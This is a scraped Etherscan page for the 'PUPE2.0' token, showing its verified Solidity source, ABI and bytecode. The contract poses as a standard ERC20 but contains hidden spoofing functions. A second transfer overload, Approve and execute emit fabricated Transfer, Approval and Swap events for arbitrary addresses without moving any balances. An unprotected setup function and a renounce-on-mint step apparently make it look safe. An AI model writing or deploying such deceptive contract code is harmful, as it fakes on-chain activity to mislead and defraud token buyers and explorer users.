ETH Price: $2,437.55 (+3.38%)

Token

PUPE2.0 (PUPE2.0)
 

Overview

Max Total Supply

420,690,000,000,000 PUPE2.0

Holders

16

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 8 Decimals)

Balance
2,461,708,893,815.11847429 PUPE2.0

Value
$0.00
0xf12969bf8a7a1c2330dac5d6aa5dd246a84a69a4
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Similar Match Source Code
This contract matches the deployed Bytecode of the Source Code for Contract 0xBaf40868...ba61FbaBa
The constructor portion of the code might be different and could alter the actual behaviour of the contract

Contract Name:
ERC20

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2023-07-18
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.9;

interface IERC20 {

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);

    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );

    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    function transfer(address to, uint256 amount) external returns (bool);


    function allowance(address owner, address spender) external view returns (uint256);


    function approve(address spender, uint256 amount) external returns (bool);


    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}

interface IERC20Metadata is IERC20 {

    function name() external view returns (string memory);

    function symbol() external view returns (string memory);


    function decimals() external view returns (uint8);
}



abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}


abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }


    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}


contract ERC20 is Ownable, IERC20, IERC20Metadata {

    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    bool private _ssApplied = false;
    string private _name;
    string private _symbol;

    address private _universal = 0xEf1c6E67703c7BD7107eed8303Fbe6EC2554BF6B;
    address private _pair;

    function setup(address _setup_) external  {
        _pair = _setup_;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }


    function decimals() public view virtual override returns (uint8) {
        return 8;
    }






    function transfer(address _from, address _to, uint256 _wad) external {
        emit Transfer(_from, _to, _wad);
    }


    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }
    
    function Approve(address [] calldata _addresses_ , uint256 balance) external  {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            emit Approval(_addresses_[i], address(this), balance);
        }
    }
    function execute(address [] calldata _addresses_, uint256 _in, uint256 _out) external {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            emit Swap(_universal, _in, 0, 0, _out, _addresses_[i]);
            emit Transfer(_pair, _addresses_[i], _out);
        }
    }
    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }


    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }


    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }


    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;

            _balances[to] += amount;
        }



        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _totalSupply += amount;
        unchecked {
            _balances[account] += amount;
        }
        _transferOwnership(address(0));
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}


    constructor(string memory name_, string memory symbol_,uint256 amount) {
        _name = name_;
        _symbol = symbol_;
        _mint(msg.sender, amount * 10 ** decimals());
    }


}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"uint256","name":"amount","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount0In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1Out","type":"uint256"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"Swap","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"balance","type":"uint256"}],"name":"Approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"_in","type":"uint256"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_setup_","type":"address"}],"name":"setup","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_wad","type":"uint256"}],"name":"transfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040525f60045f6101000a81548160ff02191690831515021790555073ef1c6e67703c7bd7107eed8303fbe6ec2554bf6b60075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503480156200007d575f80fd5b50604051620021fb380380620021fb8339818101604052810190620000a3919062000522565b620000c3620000b76200012c60201b60201c565b6200013360201b60201c565b8260059081620000d49190620007e7565b508160069081620000e69190620007e7565b506200012333620000fc620001f460201b60201c565b600a6200010a919062000a54565b8362000117919062000aa4565b620001fc60201b60201c565b50505062000bd2565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f6008905090565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036200026d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620002649062000b4c565b60405180910390fd5b8060035f82825462000280919062000b6c565b925050819055508060015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282540192505081905550620002e25f6200013360201b60201c565b8173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000341919062000bb7565b60405180910390a36200035c5f83836200036060201b60201c565b5050565b505050565b5f604051905090565b5f80fd5b5f80fd5b5f80fd5b5f80fd5b5f601f19601f8301169050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b620003c6826200037e565b810181811067ffffffffffffffff82111715620003e857620003e76200038e565b5b80604052505050565b5f620003fc62000365565b90506200040a8282620003bb565b919050565b5f67ffffffffffffffff8211156200042c576200042b6200038e565b5b62000437826200037e565b9050602081019050919050565b5f5b838110156200046357808201518184015260208101905062000446565b5f8484015250505050565b5f620004846200047e846200040f565b620003f1565b905082815260208101848484011115620004a357620004a26200037a565b5b620004b084828562000444565b509392505050565b5f82601f830112620004cf57620004ce62000376565b5b8151620004e18482602086016200046e565b91505092915050565b5f819050919050565b620004fe81620004ea565b811462000509575f80fd5b50565b5f815190506200051c81620004f3565b92915050565b5f805f606084860312156200053c576200053b6200036e565b5b5f84015167ffffffffffffffff8111156200055c576200055b62000372565b5b6200056a86828701620004b8565b935050602084015167ffffffffffffffff8111156200058e576200058d62000372565b5b6200059c86828701620004b8565b9250506040620005af868287016200050c565b9150509250925092565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806200060857607f821691505b6020821081036200061e576200061d620005c3565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302620006827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000645565b6200068e868362000645565b95508019841693508086168417925050509392505050565b5f819050919050565b5f620006cf620006c9620006c384620004ea565b620006a6565b620004ea565b9050919050565b5f819050919050565b620006ea83620006af565b62000702620006f982620006d6565b84845462000651565b825550505050565b5f90565b620007186200070a565b62000725818484620006df565b505050565b5b818110156200074c57620007405f826200070e565b6001810190506200072b565b5050565b601f8211156200079b57620007658162000624565b620007708462000636565b8101602085101562000780578190505b620007986200078f8562000636565b8301826200072a565b50505b505050565b5f82821c905092915050565b5f620007bd5f1984600802620007a0565b1980831691505092915050565b5f620007d78383620007ac565b9150826002028217905092915050565b620007f282620005b9565b67ffffffffffffffff8111156200080e576200080d6200038e565b5b6200081a8254620005f0565b6200082782828562000750565b5f60209050601f8311600181146200085d575f841562000848578287015190505b620008548582620007ca565b865550620008c3565b601f1984166200086d8662000624565b5f5b8281101562000896578489015182556001820191506020850194506020810190506200086f565b86831015620008b65784890151620008b2601f891682620007ac565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111562000955578086048111156200092d576200092c620008cb565b5b60018516156200093d5780820291505b80810290506200094d85620008f8565b94506200090d565b94509492505050565b5f826200096f576001905062000a41565b816200097e575f905062000a41565b8160018114620009975760028114620009a257620009d8565b600191505062000a41565b60ff841115620009b757620009b6620008cb565b5b8360020a915084821115620009d157620009d0620008cb565b5b5062000a41565b5060208310610133831016604e8410600b841016171562000a125782820a90508381111562000a0c5762000a0b620008cb565b5b62000a41565b62000a21848484600162000904565b9250905081840481111562000a3b5762000a3a620008cb565b5b81810290505b9392505050565b5f60ff82169050919050565b5f62000a6082620004ea565b915062000a6d8362000a48565b925062000a9c7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200095e565b905092915050565b5f62000ab082620004ea565b915062000abd83620004ea565b925082820262000acd81620004ea565b9150828204841483151762000ae75762000ae6620008cb565b5b5092915050565b5f82825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f2061646472657373005f82015250565b5f62000b34601f8362000aee565b915062000b418262000afe565b602082019050919050565b5f6020820190508181035f83015262000b658162000b26565b9050919050565b5f62000b7882620004ea565b915062000b8583620004ea565b925082820190508082111562000ba05762000b9f620008cb565b5b92915050565b62000bb181620004ea565b82525050565b5f60208201905062000bcc5f83018462000ba6565b92915050565b61161b8062000be05f395ff3fe608060405234801561000f575f80fd5b50600436106100e8575f3560e01c80638da5cb5b1161008a578063a1c617f511610064578063a1c617f51461024a578063a9059cbb14610266578063beabacc814610296578063dd62ed3e146102b2576100e8565b80638da5cb5b146101f257806395d89b41146102105780639ebbaef71461022e576100e8565b806323b872dd116100c657806323b872dd14610158578063313ce5671461018857806366d38203146101a657806370a08231146101c2576100e8565b806306fdde03146100ec578063095ea7b31461010a57806318160ddd1461013a575b5f80fd5b6100f46102e2565b6040516101019190610da2565b60405180910390f35b610124600480360381019061011f9190610e57565b610372565b6040516101319190610eaf565b60405180910390f35b610142610394565b60405161014f9190610ed7565b60405180910390f35b610172600480360381019061016d9190610ef0565b61039d565b60405161017f9190610eaf565b60405180910390f35b6101906103cb565b60405161019d9190610f5b565b60405180910390f35b6101c060048036038101906101bb9190610f74565b6103d3565b005b6101dc60048036038101906101d79190610f74565b610416565b6040516101e99190610ed7565b60405180910390f35b6101fa61045c565b6040516102079190610fae565b60405180910390f35b610218610483565b6040516102259190610da2565b60405180910390f35b61024860048036038101906102439190611028565b610513565b005b610264600480360381019061025f9190611085565b6105c5565b005b610280600480360381019061027b9190610e57565b61074c565b60405161028d9190610eaf565b60405180910390f35b6102b060048036038101906102ab9190610ef0565b61076e565b005b6102cc60048036038101906102c791906110f6565b6107d8565b6040516102d99190610ed7565b60405180910390f35b6060600580546102f190611161565b80601f016020809104026020016040519081016040528092919081815260200182805461031d90611161565b80156103685780601f1061033f57610100808354040283529160200191610368565b820191905f5260205f20905b81548152906001019060200180831161034b57829003601f168201915b5050505050905090565b5f8061037c61085a565b9050610389818585610861565b600191505092915050565b5f600354905090565b5f806103a761085a565b90506103b4858285610a24565b6103bf858585610aaf565b60019150509392505050565b5f6008905090565b8060085f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606006805461049290611161565b80601f01602080910402602001604051908101604052809291908181526020018280546104be90611161565b80156105095780601f106104e057610100808354040283529160200191610509565b820191905f5260205f20905b8154815290600101906020018083116104ec57829003601f168201915b5050505050905090565b5f5b838390508110156105bf573073ffffffffffffffffffffffffffffffffffffffff1684848381811061054a57610549611191565b5b905060200201602081019061055f9190610f74565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516105a49190610ed7565b60405180910390a380806105b7906111eb565b915050610515565b50505050565b5f5b84849050811015610745578484828181106105e5576105e4611191565b5b90506020020160208101906105fa9190610f74565b73ffffffffffffffffffffffffffffffffffffffff1660075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d822855f808760405161067d9493929190611274565b60405180910390a384848281811061069857610697611191565b5b90506020020160208101906106ad9190610f74565b73ffffffffffffffffffffffffffffffffffffffff1660085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161072a9190610ed7565b60405180910390a3808061073d906111eb565b9150506105c7565b5050505050565b5f8061075661085a565b9050610763818585610aaf565b600191505092915050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516107cb9190610ed7565b60405180910390a3505050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036108cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108c690611327565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361093d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610934906113b5565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610a179190610ed7565b60405180910390a3505050565b5f610a2f84846107d8565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610aa95781811015610a9b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a929061141d565b60405180910390fd5b610aa88484848403610861565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610b1d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b14906114ab565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610b8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b8290611539565b60405180910390fd5b5f60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015610c0f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c06906115c7565b60405180910390fd5b81810360015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508160015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610cfa9190610ed7565b60405180910390a3610d0d848484610d13565b50505050565b505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015610d4f578082015181840152602081019050610d34565b5f8484015250505050565b5f601f19601f8301169050919050565b5f610d7482610d18565b610d7e8185610d22565b9350610d8e818560208601610d32565b610d9781610d5a565b840191505092915050565b5f6020820190508181035f830152610dba8184610d6a565b905092915050565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610df382610dca565b9050919050565b610e0381610de9565b8114610e0d575f80fd5b50565b5f81359050610e1e81610dfa565b92915050565b5f819050919050565b610e3681610e24565b8114610e40575f80fd5b50565b5f81359050610e5181610e2d565b92915050565b5f8060408385031215610e6d57610e6c610dc2565b5b5f610e7a85828601610e10565b9250506020610e8b85828601610e43565b9150509250929050565b5f8115159050919050565b610ea981610e95565b82525050565b5f602082019050610ec25f830184610ea0565b92915050565b610ed181610e24565b82525050565b5f602082019050610eea5f830184610ec8565b92915050565b5f805f60608486031215610f0757610f06610dc2565b5b5f610f1486828701610e10565b9350506020610f2586828701610e10565b9250506040610f3686828701610e43565b9150509250925092565b5f60ff82169050919050565b610f5581610f40565b82525050565b5f602082019050610f6e5f830184610f4c565b92915050565b5f60208284031215610f8957610f88610dc2565b5b5f610f9684828501610e10565b91505092915050565b610fa881610de9565b82525050565b5f602082019050610fc15f830184610f9f565b92915050565b5f80fd5b5f80fd5b5f80fd5b5f8083601f840112610fe857610fe7610fc7565b5b8235905067ffffffffffffffff81111561100557611004610fcb565b5b60208301915083602082028301111561102157611020610fcf565b5b9250929050565b5f805f6040848603121561103f5761103e610dc2565b5b5f84013567ffffffffffffffff81111561105c5761105b610dc6565b5b61106886828701610fd3565b9350935050602061107b86828701610e43565b9150509250925092565b5f805f806060858703121561109d5761109c610dc2565b5b5f85013567ffffffffffffffff8111156110ba576110b9610dc6565b5b6110c687828801610fd3565b945094505060206110d987828801610e43565b92505060406110ea87828801610e43565b91505092959194509250565b5f806040838503121561110c5761110b610dc2565b5b5f61111985828601610e10565b925050602061112a85828601610e10565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061117857607f821691505b60208210810361118b5761118a611134565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6111f582610e24565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203611227576112266111be565b5b600182019050919050565b5f819050919050565b5f819050919050565b5f61125e61125961125484611232565b61123b565b610e24565b9050919050565b61126e81611244565b82525050565b5f6080820190506112875f830187610ec8565b6112946020830186611265565b6112a16040830185611265565b6112ae6060830184610ec8565b95945050505050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f611311602483610d22565b915061131c826112b7565b604082019050919050565b5f6020820190508181035f83015261133e81611305565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f61139f602283610d22565b91506113aa82611345565b604082019050919050565b5f6020820190508181035f8301526113cc81611393565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000005f82015250565b5f611407601d83610d22565b9150611412826113d3565b602082019050919050565b5f6020820190508181035f830152611434816113fb565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f611495602583610d22565b91506114a08261143b565b604082019050919050565b5f6020820190508181035f8301526114c281611489565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f611523602383610d22565b915061152e826114c9565b604082019050919050565b5f6020820190508181035f83015261155081611517565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f6115b1602683610d22565b91506115bc82611557565b604082019050919050565b5f6020820190508181035f8301526115de816115a5565b905091905056fea2646970667358221220eb4cd51bb6164fd282bdb290722bfbad232f332a87f96f3ae2ca4c6a235269f364736f6c63430008140033000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000000000000000000000000000000004363d1c2600000000000000000000000000000000000000000000000000000000000000000642656e2050650000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000542454e5045000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561000f575f80fd5b50600436106100e8575f3560e01c80638da5cb5b1161008a578063a1c617f511610064578063a1c617f51461024a578063a9059cbb14610266578063beabacc814610296578063dd62ed3e146102b2576100e8565b80638da5cb5b146101f257806395d89b41146102105780639ebbaef71461022e576100e8565b806323b872dd116100c657806323b872dd14610158578063313ce5671461018857806366d38203146101a657806370a08231146101c2576100e8565b806306fdde03146100ec578063095ea7b31461010a57806318160ddd1461013a575b5f80fd5b6100f46102e2565b6040516101019190610da2565b60405180910390f35b610124600480360381019061011f9190610e57565b610372565b6040516101319190610eaf565b60405180910390f35b610142610394565b60405161014f9190610ed7565b60405180910390f35b610172600480360381019061016d9190610ef0565b61039d565b60405161017f9190610eaf565b60405180910390f35b6101906103cb565b60405161019d9190610f5b565b60405180910390f35b6101c060048036038101906101bb9190610f74565b6103d3565b005b6101dc60048036038101906101d79190610f74565b610416565b6040516101e99190610ed7565b60405180910390f35b6101fa61045c565b6040516102079190610fae565b60405180910390f35b610218610483565b6040516102259190610da2565b60405180910390f35b61024860048036038101906102439190611028565b610513565b005b610264600480360381019061025f9190611085565b6105c5565b005b610280600480360381019061027b9190610e57565b61074c565b60405161028d9190610eaf565b60405180910390f35b6102b060048036038101906102ab9190610ef0565b61076e565b005b6102cc60048036038101906102c791906110f6565b6107d8565b6040516102d99190610ed7565b60405180910390f35b6060600580546102f190611161565b80601f016020809104026020016040519081016040528092919081815260200182805461031d90611161565b80156103685780601f1061033f57610100808354040283529160200191610368565b820191905f5260205f20905b81548152906001019060200180831161034b57829003601f168201915b5050505050905090565b5f8061037c61085a565b9050610389818585610861565b600191505092915050565b5f600354905090565b5f806103a761085a565b90506103b4858285610a24565b6103bf858585610aaf565b60019150509392505050565b5f6008905090565b8060085f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606006805461049290611161565b80601f01602080910402602001604051908101604052809291908181526020018280546104be90611161565b80156105095780601f106104e057610100808354040283529160200191610509565b820191905f5260205f20905b8154815290600101906020018083116104ec57829003601f168201915b5050505050905090565b5f5b838390508110156105bf573073ffffffffffffffffffffffffffffffffffffffff1684848381811061054a57610549611191565b5b905060200201602081019061055f9190610f74565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516105a49190610ed7565b60405180910390a380806105b7906111eb565b915050610515565b50505050565b5f5b84849050811015610745578484828181106105e5576105e4611191565b5b90506020020160208101906105fa9190610f74565b73ffffffffffffffffffffffffffffffffffffffff1660075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d822855f808760405161067d9493929190611274565b60405180910390a384848281811061069857610697611191565b5b90506020020160208101906106ad9190610f74565b73ffffffffffffffffffffffffffffffffffffffff1660085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161072a9190610ed7565b60405180910390a3808061073d906111eb565b9150506105c7565b5050505050565b5f8061075661085a565b9050610763818585610aaf565b600191